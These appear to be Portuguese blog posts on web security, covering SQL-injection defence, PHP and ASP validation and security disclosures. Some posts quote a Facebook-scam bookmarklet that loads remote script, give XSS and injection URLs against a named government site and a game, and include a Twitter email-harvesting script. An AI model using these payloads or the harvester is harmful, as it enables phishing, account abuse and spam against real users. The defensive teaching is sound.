É muito comum quando se estuda uma linguagem não se dar principal foco ao desenvolvimento em segurança, mas este, em ambientes de produção é um dos factores decisivos do sucesso de uma aplicação e da confiança por parte dos utilizadores.
Neste artigo vai ser abordada uma forma de defesa relativa a possíveis ataques de SQL Injection em PHP utilizando o SGDB MySQL, e com recurso a Prepared Statements.

Existe suporte oficial a várias bases de dados: CUBRID, MS SQL Server, Firebird/Interbase, IBM, Informix, MySQL, MS SQL Server, Oracle, ODBC e DB2, PostgreSQL, SQLite, 4D [print_r(PDO::getAvailableDrivers());]

Vantagens e Desvantagens

Vantagens:
i. Previne SQL Injection
ii. Melhora a performance (pode só ser notado quando usado em grandes plataformas)
iii. Mais simples de escrever e ler

Desvantagens e Limitações:
i. Limitado a: SELECT, INSERT, UPDATE, REPLACE, DELETE, e CREATE TABLE
ii. Placeholders apenas para valores e nunca para nomes de tabelas ou colunas
iii. Quando precisamos de utilizar o método bind_result no escopo de uma classe e não sabemos à partida quantas variáveis vão ser passadas. Problema analisado por Jeffrey Way @ NetTuts (http://net.tutsplus.com/tutorials/php/the-problem-with-phps-prepared-statements/)

addslashes vs mysql_real_escape_string vs Prepared Statements

As funções addslashes e mysql_real_escape_string não serão objecto de estudo neste artigo, será apenas faladas as vulnerabilidades que não acontecem com o uso de Prepared Statements de modo a mostrar que esta última alternativa é de facto a mais segura.

O Chris Shiflett (http://shiflett.org/archive/184) já analisou as vulnerabilidades das addslashes relativas ao abuso de caracteres multibyte.

A função mysql_real_escape_string não é muito diferente da addslashes ao nível do tipo de vulnerabilidade, na verdade a sua vantagem reside mesmo em ter em conta o character set a ser utilizado conseguindo determinar como analisar a informção passada. Contudo continuam a existir vulnerabilidades, por exemplo com a utilização da codificação GBK e da sequ?ncia 0xbf27 (¿’) que passada nesta função não terá o resultado pretendido de ¿\’ . (POC http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html )

Prepared Statements em Uso

Vejamos então um exemplo bastante simples…

$login = $_GET['login']
$query = "SELECT * FROM registos WHERE login = '$login'";

em que /?login=’ OR 1′;

Assim sendo
A query ficará algo do género:

$query = "SELECT * FROM registos WHERE login = '' OR 1";

O que resultaria num retorno de todas as informações da base de dados.

Se neste caso especifico fosse utilizado o método de destaque deste artigo: Prepared Statements, teriamos de colocar um placeholder (para marcar o local onde serão inseridos os dados a introduzir / consultar na base de dados, isto faz com que nos locais onde estão colocados os placeholders não sejam feitos pedidos à base de dados ou alteração ao pedido em questão. É aqui que reside a força deste método.

Existem duas formas de usar placeholders tal como referido no Manual do PHP.net

Forma #1:

$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");
$stmt->bindParam(':name', $name);
$stmt->bindParam(':value', $value);

Forma #2:

$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (?, ?)");
$stmt->bindParam(1, $name);
$stmt->bindParam(2, $value);

Voltando então ao exemplo anterior, a nossa expressão seria então:

$query = "SELECT * FROM registos WHERE login = ?";

Nota: Apesar da extensão MySQLi também suportar prepared statements é aconselhável a utilização da extensão PDO (PHP Data Objects)

$login = "joaoppereira";
$query = "SELECT * FROM registos WHERE login = ?";
 
$stmt = $pdo->prepare($query); 
$stmt->bindValue(1, $login, PDO::PARAM_STR);
$ok = $stmt->execute();
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);

A função bindValue dos PDOStatement permite simples validações de tipo de dados no terceiro parâmetro da função bindValue(parametro, valor, tipo_dado), com as seguintes opções:

- PDO::PARAM_STR
- PDO::PARAM_INT
- PDO::PARAM_BOOL
- PDO::PARAM_NULL

Este foi só um artigo introdutório a este tema, existe agora imenso material no Manual do PHP.net e um pouco por toda a internet relativamente a esta temática para os que quiserem, e bem, aprofundar os conhecimentos relativos a Prepared Statements e PDO.

Bibliografia:

- http://php.net/manual/en/pdo.prepared-statements.php
- http://www.php.net/manual/en/class.pdostatement.php
- http://www.php.net/manual/en/pdo.constants.php
- http://www.php.net/manual/en/pdo.drivers.php
- http://net.tutsplus.com/tutorials/php/the-problem-with-phps-prepared-statements/

Para quem não reparou ainda há a circular uma praga no Facebook que utiliza o motivo de permitir ver quem visita o perfil !

Esta página incita o utilizador executar o seguinte código no browser tendo a página do facebook aberta.

javascript:(a=(b=document).createElement('script')).src='//bbbindia4.in/jsp.php',b.body.appendChild(a);void(0)

Este código simplesmente adiciona o código presente na página bbindia4.in/jsp.php à página do facebook. (em anexo  no fim do post)

Este ficheiro contém código JavaScript que vai criar um novo evento e convidar todos os amigos, vai ainda abrir uma conversa de chat e colocar uma mensagem com o link para o contacto em questão também sofrer o mesmo “ataque” e vai colocar uma mensagem no próprio Mural com números aleatórios e nomes de contactos aleatórios como se fossem as pessoas que mais vêm o perfil !

Isto apenas volta a mostrar que por mais segura que uma página seja os utilizadores podem ser sempre enganados tornando a página insegura !

Stay safe.

Anexo: jsp.php.txt

O URL Rewriting ganhou muitos adeptos quando surgiu a moda das SEO (Search Engine Optimization) e das USO (User Scan Optimization) de forma a tornar as ligações de mais fácil leitura e percepção do seu conteúdo quer para os Motores de Pesquisa quer para o scan que o nosso cérebro faz quando olha para uma ligação, e é normalmente com este intuito que é utilizado.

Contudo, é possível utilizar URL Rewriting para melhorar a segurança do seu site.

ATENÇÃO: Não é seguro confiar neste método para a obtenção de um site seguro, este é apenas um método possível de obfuscação, isto é, para tornar mais dificil de perceber onde poderão estar as falhas, principalmente para ferramentas automáticas de pentesting!

Imaginemos o seguinte URL:

http://exemplo.pt/pagina.php?id=13&titulo=AppVulneravel

Uma ferramenta automática de SQL Injection fazia parsing do URL e detectava dois parâmetros com dois valores: ( id => 13, titulo => ‘AppVulneravel’ ) .

Utilizando o seguinte ficheiro .htaccess:

# Turn on URL rewriting
RewriteEngine On
 
# Allow any files or directories that exist to be displayed directly
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
 
RewriteRule ^pagina/(.+)/(.+) pagina.php?id=$1&titulo=$2 [PT,L]

Já podíamos chamar a mesma página da seguinte forma:

http://exemplo.pt/pagina/13/AppVulneravel

A mesma ferramenta automática mais dificilmente chegaria a verificar se 13 e AppVulneravel não eram directórios e estávamos a trabalhar no index desse directório.

Neste caso, um olhar sobre o URL e percebia-se que estava a ser usado URL Rewriting e podia-se tentar explorar vulnerabilidades a partir desses parâmetros e/ou configurado uma ferramenta para fazer os testes correctamente tendo em conta essa informação.

Mas um outro exemplo:

pagina.php

include($_GET['file'].'.php'); // ATENÇÃO: Este código é altamente inseguro! Só para fins demonstrativos!

Tirando partido do código anterior podíamos ter os seguintes URLs:

http://exemplo.pt/index

http://exemplo.pt/about

Sem conhecer o site em questão eu diria que teriam um ficheiro .htaccess semelhante a este:

# Turn on URL rewriting
RewriteEngine On
 
# Allow any files or directories that exist to be displayed directly
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
 
RewriteRule ^(home)$ index.php [PT,L]
RewriteRule ^(about)$ about.php [PT,L]

Contudo, neste contexto, seria algo mais como:

# Turn on URL rewriting
RewriteEngine On
 
# Allow any files or directories that exist to be displayed directly
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
 
RewriteRule ^(.+) pagina.php?file=$1 [PT,L]

Conclusão

Podemos ver que este método é excelente para dificultar a tarefa a script kiddies e crackers com ferramentas de crawling com pesquisa de vulnerabilidades, pode também diminuir os pontos de teste de possíveis atacantes, como é mostrado neste último exemplo. No entanto, é preciso ter em muita atenção o que já referi anteriormente: Não é seguro confiar neste método para a obtenção de um site seguro, este é apenas um método possível de obfuscação, isto é, para tornar mais dificil de perceber onde poderão estar as falhas, principalmente para ferramentas automáticas de pentesting!

É triste o estado de descuido em que se encontram a maior parte dos WebSites nacionais… Não falo ao nível de organização, acessibilidade, usabilidade, design… mas sim ao nível da segurança, ou melhor, à falta dela…

Navegar por sites de grandes empresas, de universidades e respectivas faculdades, de sites governamentais, etc. aleatoriamente é quase como encontrar a cada clique um potencial alvo de ataque, quer ao site em si só para fazer defaces estúpidos, quer para atacar os seus visitantes ou para roubar dados e bases de dados importantes.

Porquê que isto acontece ? Porque é que não há cuidado em aplicar filtros nos formulários e nas querys que são feitas client-side  ? Existem já filtros desenvolvidos, open-source, que podiam ser aplicados rapidamente aquando do processo de desenvolvimento e que mais ou menos eficientes já eram algo melhor do que nada!! Não custava nem uma hora no desenvolvimento final de um website, e para empresas cujo negócio é o desenvolvimento de soluções web à medida para grandes entidades é inadmissível nunca se terem preocupado em criar uma solução por mais simples que fosse para aplicar a todos os seus trabalhos…

Depois há sempre os bons da fita que quando se apercebem de alguma coisa avisam os developers do site em questão e tentam ajudar. Quando isto acontece existem três tipos de empresas / pessoas:
- não ligam nenhum à sugestão dada e o site continua vulnerável
- ameaçam a pessoa que os está a alertar de lhes pôr um processo em cima (aqui ainda não percebi se é com medo que se peça dinheiro ou que fale com o cliente afectado)
- agradecem a sugestão, corrigem o erro e em alguns casos oferecem recompensas (dinheiro, serviços e até empregos)

Eu pessoalmente já tive estas experiências e desde que as minhas boas intenções foram levadas a mal e fui ameaçado por uma grande empresa portuguesa de desenvolvimento web que deixei de me interessar por ajudar.

Depois claro que aparecem sempre problemas com bases de dados com informações confidenciais roubadas, session hijacking, ou os famosos defaces.

Vamos lá pessoal, não é nada de impossível, é só preciso querer. Com o mínimo de cuidado podem ser evitadas muitas situações embaraçosas para vocês, para os vossos clientes e para o público alvo dos vossos clientes.

Imagem de http://www.fireblog.com/

Para cada projecto que tenho desenvolvido ultimamente utilizando a linguagem de programação server-side PHP, tenho-me guiado por uma checklist de forma a não me esquecer  de nada evitando assim falhas graves nas aplicações que desenvolvo. Pois a segurança é uma das preocupações que tenho.

Esta checklist aborda diversas situações como, casos gerais, casos de input, file uploads, autenticação, entre outros.

Click on image to download

Recomendo vivamente a sua utilização e até sugestões de melhorias, apesar de ela não ser da minha autoria.

O que acham desta checklist? Conhecem alguma melhor? Como se guiam no desenvolvimento de aplicações web de forma  a manter a segurança da mesma?

Já há algum tempo que tenho andado a investigar sites nacionais em busca de falhas de segurança e quase todos as têm, as mais frequentes são as falhas XSS mas também é muito comum encontrar falhas de SQL Injection.

Hoje tive acesso através de um tweet do Público (http://bit.ly/aU0kuy) à informação de que o site das Novas Oportunidades tinha sido explorado e alterado por  alguém… Decidi então enquanto era tempo verificar as falhas que existiam no site e qual o meu espanto (not) quando vejo presentes falhas de XSS, falhas de SQL Injection e falhas de validação de parâmetros que permitem Impersonation Attack através de injecção de URL.

O ataque relatado pelo público foi feito através de SQL Injection possivelmente na página seguinte pois esta está totalmente aberta a ataques deste género: http://testemunhos.novasoportunidades.gov.pt/detalhe_video.aspx

O ataque que referi relativo a problemas de validação de parâmetros que permitem injecção de URL: http://www.novasoportunidades.gov.pt/outerFrame.jsp?link=http://joaopedropereira.com/blog/

Com alguma imaginação pode-se fazer alguns ataques interessantes a partir daqui…

Na pesquisa também podemos facilmente fazer ataques de XSS (Cross Site Scripting) como referi anteriormente: http://www.novasoportunidades.gov.pt/np4/q?q=%3Cscript%3Ealert%28%22The+Blog+of+a+WebDeveloper%22%29%3C%2Fscript%3E

Isto mostra a preparação e conhecimentos ao nível de segurança informática que os WebDevelopers que o estado contrata têm… Atenção este não é o único site governamental com problemas graves de segurança, existem mais e talvez que transaccionem dados mais importantes…

Nota: Este post não tem como intuito incentivar qualquer tipo de ataque informático, pretende apenas informar e alertar para os problemas informáticos que podem surgir num futuro nas infraestruturas governamentais (e não só). É importante ter as nossas plataformas o mais seguras possíveis, para não sermos surpreendidos um dia.

EDIT

As falhas estão a ser corrigidas, quase completas por isso para registo futuro adicionei screenshots das falhas. É também de valor ler e participar nos comentários a este post que estão a dar uma boa análise do Web Development nacional.

EDIT 2

Governo desmente ataque informático: Portal Novas Oportunidades não foi alvo de ataque informático . Provavelmente precisam que venha algo abaixo e que cause danos a muitas pessoas para admitirem os erros…

Um dos projectos que estou a começar a desenvolver é um Twitter Bot que seja capaz de simular o comportamento de um utilizador durante um curto período de tempo, dependendo da configuração que o utilizador lhe quiser dar. Deve também ter todas as funcionalidades que possam ser úteis ou pensáveis para um programa deste género e por isso muito é necessário pesquisar e estudar.

Hoje surgiu-me a ideia de utilizar a pesquisa do Twitter para encontrar e-mails. Claro que não fui o primeiro a pensar nisto, então em vez de reinventar a roda fui alterá-la apenas para andar melhor.

ob_start();
 
function writemail($matches) {
	foreach($matches as $emails)
		foreach ($emails as $email) {
			echo $email.'
';
			ob_flush();
		}
 
}
 
for($id=1; $id< =20; $id++) {
	$file = proxify_my_connection("http://search.twitter.com/search?page=".$id."&q=gmail.com+OR+msn.com+OR+hotmail.com+OR+%22email+me%22&rpp=100");
 
	$file = strip_tags($file);
 
	preg_match_all(
		"([a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+(?:[A-Z]{2}|com|org|net|gov|mil|biz|info|mobi|name|aero|jobs|museum)\b)siU",
		$file,
		$matches);
 
	writemail($matches);
 
}
ob_end_flush();

O que este código faz, basicamente, é ler a página de pesquisa do Twitter e utilizando Regular Expressions encontrar os e-mails existentes na página, e depois continua pelas páginas seguintes.

/search?page=”.$id.”&q=gmail.com+OR+msn.com+OR+hotmail.com+OR+%22email+me%22&rpp=100

page numero da página
q representa a query, a chave a pesquisar
rpp results per page sendo que o máximo permitido pelo twitter é 100

Como podem reparar no meu código existe uma função que não está presente nem faz parte do PHP, a proxify_my_connection, é uma ferramenta que eu próprio desenvolvi há algum tempo e que não a quero tornar pública. Mas é fácil de a substituir, mesmo utilizando funções que já vêm de raíz no PHP. Podem também ver aqui uma função com efeito semelhante à que eu desenvolvi, no entanto não tem nada a ver uma com a outra.

Em vez da função writemail() é mais produtivo ter uma base de dados onde quardar os e-mails e verificar se estes são repetidos ou não…

Podem dar uso à vossa imaginação, aumentar e desenvolver a query, aumentar a performance do script, etc. isto foi só um pequeno exemplo do que se pode fazer com a search do twitter.

Bibliografia

Regex utilizado no meu código: http://www.fromzerotoseo.com/twitter-email-grabber/

Contribua para este blog deixando

a sua opinião e um pouco do seu conhecimento

PHP é a linguagem de programação web server-side mais utilizada a nível Mundial e neste artigo vão ser retratados os aspectos que devem fazer parte do estudo, do caminho de um WebDeveloper que quer desenvolver em PHP. Entre eles Boas práticas, Frameworks, Segurança, Caching, Buffering e Environments.

O Melhor Amigo – PHP Manual

Antes de mais é necessário aprender a linguagem em si, e o PHP é uma linguagem com uma enorme comunidade por trás que desenvolveu o PHP Manual, neste manual encontra-se todo o conhecimento necessário para se dominar a linguagem PHP. E como se não chegasse a sua enorme qualidade este é, também, gratuito e pode ser acedido quer online quer offline.

De leitura fácil encontramos no PHP Manual a documentação de como proceder à sua instalação e configuração, a documentação da estrutura lógica da linguagem bem como de todas as funções que a compõe sem nunca faltarem imensos exemplos! A secção das notas dos utilizadores é riquissima em estudos e desenvolvimentos de cada função, não dispensem a sua leitura!

Aceder ao PHP Manual em Português

Montar um Ambiente de Teste

Para testar o PHP não é necessário apenas ter um editor de texto e um browser, é necessário um servidor que corra o interpretador de PHP.

Então para começarmos a desenvolver em PHP é necessário configurar um pequeno servidor ou então utilizar um host existente…

Existem soluções que não envolvem muito trabalho nas configurações, como o MAMP (Mac), WAMP (Windows), LAMP (Linux), estas ferramentas já trazem também incluido a SGBD (Sistema de Gestão de Base de Dados) MySQL.

Depois para desenvolver o código pode utilizar ferramentas de auxilio, os IDE’s. A SmashingMagazine realizou um estudo comparativo sobre IDE’s para PHP. Ver Estudo Comparativo de IDE’s para PHP Aqui

Para quem não quer editores tão pesados aconselho o Geany (Linux) ou Notepad++ (Windows).

Desenvolver Bom Código

Isto não é algo restrito ao PHP mas a todas as linguagens de programação.

Quando programamos algo deve ter, além de uma estrutura lógica e funcional correcta, uma boa identação, documentação e deve também ser auto-explicativa (variáveis, classes e funções com nomes que descrevam facilmente o que contêm / o que fazem).

Deve ser fácil de ler e entender quer pelo próprio programador daqui a uns anos ou por outro programador que tenha de modificar algo no código desenvolvido.

Manter Funções Fora de Ciclos

Manter sempre a declaração de funções fora de ciclos é um aspecto muito importante quando visamos a performance de uma aplicação desenvolvida em PHP pois num ciclo que se repete (imaginemos) 500 vezes, a função será declarada 500 vezes, uma perda de tempo.

Organização do Código por Ficheiros

Além da organização ao nível das linhas código em si temos a organização de código relativa à separação por ficheiros e categorias. Para facilitar o entendimento e a detecção e correcção de erros o código deve ser separado lógicamente.

Imaginemos que estamos a desenvolver um CMS (Content Management System). E então devido à grande quantidade de código que tem de ser desenvolvido vamos separar o código em vários ficheiros.

Má Prática

Boa Prática

Aprender Object Oriented Programming

Object-oriented programming (OOP) ou Programação Orientada a Objectos (POO) em Português utiliza objectos para representar partes da aplicação permitindo separar em secções lógicas o código, facilitando a sua modificação e organização.

Aprender a Utilizar uma Framework

Muitos defendem que se deve aprender a utilizar frameworks na iniciação ao PHP porque com elas se aprende a desenvolver código mais avançado, a organizar melhor o código, a torná-lo lógico, a fazer debbug de erros, etc.

Outros defendem que não se deve aprender a utilizar frameworks na iniciação ao PHP porque no inicio o que os utilizadores necessitam é fazer os seus erros, aprender a desenvolver o seu código de raíz, sem funções e classes prontas a utilizar (exceptuando aquelas que vêm de raíz no PHP claro).

Eu considero que o utilizador deve dar uma olhadela a algumas frameworks e decidir se as deve ou não utilizar, porque cada pessoa é unica e pode aprender de diversas formas. Frameworks que considero muito bem estruturadas: Kohana, CodeIgniter e CakePHP .

Nunca Confie nos Utilizadores

Um dos aspectos mais importantes ao nível da segurança de aplicações informáticas é nunca confiar nos utilizadores da aplicação que estamos a desenvolver.

E que implica isso? Validar tudo o que entra! URL’s, formulários, cookies, sessões e até headers dos browsers.

Vamos então ver alguns exemplos de validações pois seria impossível cobrir todas as validações possíveis.

Validar Dados

É muito importante validar e corrigir todos os dados que possam ser introduzidos pelo utilizador! Infelizmente tenho visto imensas aplicações web sem qualquer protecção contra ataques tornando-as completamente vulneráveis a ataques.

Imaginemos o seguinte URL: joaopedropereira.com/xpto.php?id=1245

Que falha pode ser explorada aqui? O parâmetro dado ao id que pode ser utilizado para um SQL Injection por exemplo. Como fazer esta validação? Através de Regex:

function is_natural($str){
return (bool)preg_match( '/^[0-9]+$/', $str);
}
 
if(is_natural($_GET['id'])) { /* código */ }
else die('Erro');

Outro exemplo também com URL: joaopedropereira.com/xpto.php?email=email@domain.tld

function is_email($str){
return (preg_match("/^([a-z0-9\+_\-]+)(\.[a-z0-9\+_\-]+)*@([a-z0-9\-]+\.)+[a-z]{2,6}$/ix", $str)) ? TRUE : FALSE;
}
 
if(is_email($_GET['email'])) { /* código */ }
else die('Erro');

Também com formulários se deve proceder de uma forma semelhante a esta.

ID Cliente

Email

function is_natural($str){
return (bool)preg_match( '/^[0-9]+$/', $str);
}
function is_email($str){
return (preg_match("/^([a-z0-9\+_\-]+)(\.[a-z0-9\+_\-]+)*@([a-z0-9\-]+\.)+[a-z]{2,6}$/ix", $str)) ? TRUE : FALSE;
}
if(is_email($_POST['email']) AND is_natural($_POST['id'])) { /* código */ }
else die('Erro');

Vimos então que se podem validar os dados através de Regex mas existem outras formas de o fazer.

Imaginemos que temos um formulário que envia um campo de texto. Não podemos criar uma função em Regex para o efeito, assim temos de utilizar outras funções mais ou menos complexas para fazer a limpeza destes dados (recomendo o estudo das funções de validação da Kohana ou CodeIgniter).

function proteger($str) {
$str = strip_tags($str);
$str = mysql_real_escape_string($str);
 
return $str;
}

Com esta função adicionamos alguma segurança ao nosso código limpando tags como as utilizadas em ataques XSS e limpamos os dados contra SQL Injection. (Atenção: esta função não inibe todos os ataques apenas os dificulta um pouco).

Existe também uma forma de melhorar a segurança que dá menos trabalho pois apenas com algumas linhas de código podemos limpar todos os dados passados por $_POST, $_GET, $_REQUEST, $_COOKIE, $_SESSION, etc.

Eu normalmente crio um ficheiro que incluo no inicio de cada página parecido com o seguinte:

foreach ($_POST as $key => $value) {
$_POST[$key] = proteger($value);
}
 
foreach ($_GET as $key => $value) {
$_GET[$key] = proteger($value);
}
 
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = proteger($value);
}
 
foreach ($_COOKIE as $key => $value) {
$_COOKIE[$key] = proteger($value);
}
 
foreach ($_SESSION as $key => $value) {
$_SESSION[$key] = proteger($value);
}

Ambiente de Teste vs. Ambiente Real

Um dos problemas com que me deparava quando me iniciei no desenvolvimento de aplicações web em PHP (como o tempo passa…) era a mudança de variáveis entre o ambiente de teste e o real, como por exemplo as configurações da base de dados…

Até ter adoptado uma metodologia que me permitia ao alterar apenas uma linha alternar entre os ambientes.

define('LIVE', true);
 
if(LIVE) {
error_reporting(0);
define('DB_HOST', 'localhost');
define('DB_USER', 'root');
define('DB_PASSWORD', '');
define('DB_DATABASE', 'basededadosxpto');
} else {
error_reporting(E_ALL);
define('DB_HOST', 'joaopedropereira.com');
define('DB_USER', 'joao');
define('DB_PASSWORD', 'pedro');
define('DB_DATABASE', 'joao_basededados');
}

Com esta metodologia só preciso de modificar a linha que define a constante LIVE como true ou false conforme esteja a trabalhar num ou noutro ambiente, podem também verificar ali a alteração do error_reporting, enquanto no caso do Ambiente Real não quero que sejam mostrados nenhuns erros aos visitantes por questões quer de segurança quer de aspecto, no caso do Ambiente de Teste quero saber todos os pormenores.

Utilizar Output Buffering

Utilizar Output Buffering é uma excelente maneira de optimizar a performance de uma aplicação em PHP. Sem Output Buffering a sua aplicação só vai mostrar o HTML no fim de toda a página estar carregada, com o Output Buffering a sua aplicação mostra o HTML já carregado quando o programador ordena!

O Developer Brian Cray criou um artigo muito interessante sobre este assunto para a DevTips. Veja-o aqui.

Utilizar Sistemas de Caching

Os Sistemas de Caching são interessantes para aumentar a performance de uma aplicação em PHP. No entanto há que ter em atenção alguns aspectos como por exemplo numa amostragem de resultados em tempo real não se podem utilizar sistemas de caching ou então teremos dados desactualizados…

Existem sistemas prontos a usar mas também podemos desenvolver o nosso sistema de caching como por exemplo algo do género:

$cache_file = 'cache_files/' . md5($_SERVER['SCRIPT_URI']);
$cache_time = 1200 * 60; //60min*6 * 60 segundos (6HORAS)
 
if(file_exists($cache_file) AND is_readable($cache_file) AND (time() - $cachetime < filemtime($cache_file))) {
require_once($cache_file);
} else {
ob_start();
 
/* o código do ficheiro */
 
$file = fopen($cachefile, 'w');
fwrite($file, ob_get_contents());
fclose($file);
 
ob_end_flush();
}

Sistemas de Caching:

• Memcached
• APC
• XCache

Eu não mordo…

Não tenha medo de comentar, não tenha medo de perguntar, de criticar ou elogiar! Qualquer dúvida pergunte, qualquer reparo faça-o, todas as opiniões e comentários são bem vindos aqui no blog.

Pode também divulgar o artigo, eu não acuso ninguém que divulgue o meu artigo nas diversas redes sociais ou nos próprios blogs (mencionando a fonte ou autor) de plágio .

O que vos venho mostrar hoje é como dificultar o trabalho a pessoas que queiram explorar vulnerabilidades no vosso sistema programado em ASP. Esta semana tive um trabalho em mãos que consistia em resolver um problema num site Inglês programado em ASP pois este andava a ser atacado por hackers através de SQL Injection e através desta técnica também criavam ataques de XSS. Não precisei de muito tempo até identificar um possível buraco que pudesse ser explorado. Depois de alguns testes lá consegui obter informações sobre a base de dados desse site mas também sobre outras bases de dados existentes no mesmo servidor o que mostra não só a falta de cuidado do programador mas também do alojamento, mas como o segundo caso não me dizia respeito tratei de corrigir o primeiro.

Como Validar Dados Em ASP

Existem várias maneiras de validar dados quando estamos a desenvolver aplicações em ASP.

Função: IsNumeric()

A maior parte dos dados passados através de parâmetros nos URL são valores numéricos correspondentes a ID’s, assim a função que a linguagem ASP traz por defeito (built-in) IsNumeric() chega para verificar se os valores dos parâmetros passados correspondem a um número. Foi isto que utilizei para o caso em especifico. O programador tinha feito algo como:

GetNews = "SELECT NewsID, campox, campoy, Imagem1, Imagem2, Artigo FROM empresa_News WHERE NewsID = '"&request("id")&"' "
Set RSNews = MyConn.execute(GetNews)

E isto passava o valor do id sem qualquer tipo de validação. Passando agora a algo como

if IsNumeric(request("id")) === TRUE then
GetNews = "SELECT NewsID, campox, campoy, Imagem1, Imagem2, Artigo FROM empresa_News WHERE NewsID = '"&request("id")&"' "
Set RSNews = MyConn.execute(GetNews)

Mas podiam ter sido utilizadas outras técnicas caso não se tratasse de um valor numérico.

Escape dos Dados

function stripQuotes(str)
stripQuotes = replace(str, "'", "")
end function

Esta função vai fazer com que todos os caracteres ‘ desapareçam, pode-se adaptar esta função para outros caracteres, o que é algo que aconselho vivamente a fazerem, bem como a palavras como script, xp_, select, drop, update, where, entre outras.

Desafio

Desafio todos os leitores a criarem uma função em ASP para fazer uma validação e tratamento dos dados protegendo as páginas de SQL Injection e de ataques XSS. Para isso só precisam de deixar a vossa função nos comentários.

A melhor função será publicada num post com uma menção para o seu autor.

Show some love, divulguem e participem

Hoje venho mostrar-vos como é fácil encontrar vulnerabilidades em páginas web, para inaugurar esta nova “categoria” do blog o website escolhido foi o jogo web-based System Empires jogo este que tenho vindo a jogar e a falha nele explorada será o tipo de falha Cross-site scripting (XSS) esta falha, para os que não sabem, permite fazer injecção de código numa página, esta é uma vulnerabilidade client-side pois só se dá no browser da vítima e não afecta, directamente, o servidor.

Nota: esta falha é apenas vísivel a membros registados no jogo. Vulnerabilidade corrigida (mais informações)

Uma funcionalidade que o jogo tem é de verificar nas regiões visiveis ao nosso observatório se ele está online para poder executar o ataque com mais segurança.

E como é o URL desta funcionalidade formado?

http://civ.sysemp.com/players.php?u=470&n=skin&pop

u – Unique_ID do membro

n – texto a mostrar na janela

Onde reside a falha neste URL?

No parâmetro n. Para não fazer mais uma query à base de dados os programadores optaram por passar o parâmetro anteriormente e esqueceram-se de fazer filtragem dos dados. Assim sem qualquer filtragem é possível passar qualquer tipo de dados incluindo elementos HTML.

Introduzindo então informações no lugar de skin, por exemplo:

http://civ.sysemp.com/players.php?u=470&n=<script>alert(“XSS?”);</script>&pop

Vamos obter o seguinte resultado:

Agora se tentarmos colocar uma página para tentar enganar alguém que aceda através deste URL podemos utilizar iframes por exemplo:

http://civ.sysemp.com/players.php?u=470&n=</b></td></tr><iframe src =”http://joaopedropereira.com/” width=”110%” height=”3000px” scrolling=”no” frameborder=”0″></iframe></table>&pop

Neste caso a única coisa que acontece é a página do jogo ficar com a minha página pessoal a ocupar tudo, mas imaginemos que alguém queria fazer algo de mal, podia gerar uma página de login igual à do jogo e colocar num host privado guardando todas as passwords que os utilizadores introduzissem sem saberem que estavam fora do jogo… Claro que para isso era necessário alguma engenharia social e técnicas de phishing mas com isto era muitissimo fácil de realizar e era possível de realizar com poucos conhecimentos a esse nível.

A falha já foi reportada à administração, esperemos brevidade na resolução do problema.

Quem se quiser proteger contra este tipo de vulnerabilidades pode utilizar vários programas como o HTML Purifier (permite algumas tags HTML), ou então aconselho vivamente a utilização da Input Class da framework Code Igniter (quem não quiser utilizar a framework completa pode alterar o ficheiro e utilizar apenas o que lhe convém e até fazer modificações).

E vocês o que acham deste tipo de vulnerabilidades? E como as aproveitariam?